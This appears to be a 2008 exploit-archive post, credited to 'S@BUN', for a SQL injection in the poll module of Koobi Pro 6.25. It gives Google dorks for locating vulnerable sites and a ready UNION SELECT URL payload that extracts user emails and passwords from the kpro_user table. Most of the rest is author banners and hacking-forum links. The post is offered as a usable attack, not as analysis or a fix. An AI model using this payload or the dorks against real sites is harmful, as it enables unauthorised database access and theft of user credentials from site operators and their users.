[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
# Published : 2008-04-14
# Author : S@BUN
# Previous Title : Koobi CMS 4.2.4/4.2.5/4.3.0 Multiple Remote SQL Injection Vulnerabilities
# Next Title : KwsPHP (Upload) Remote Code Execution Exploit
##########################################
#
# Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=poll"showresult
#
# DORK 2 : allinurl: poll_id "showresult"
#
###########################################
EXPLOiT :
index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user
*********************************************
WEBSiTE: http://www.xcorpitx-hack.com/Forum
*********************************************
********************S@BUN********************
*********************************************
# www.Syue.com [2008-04-14]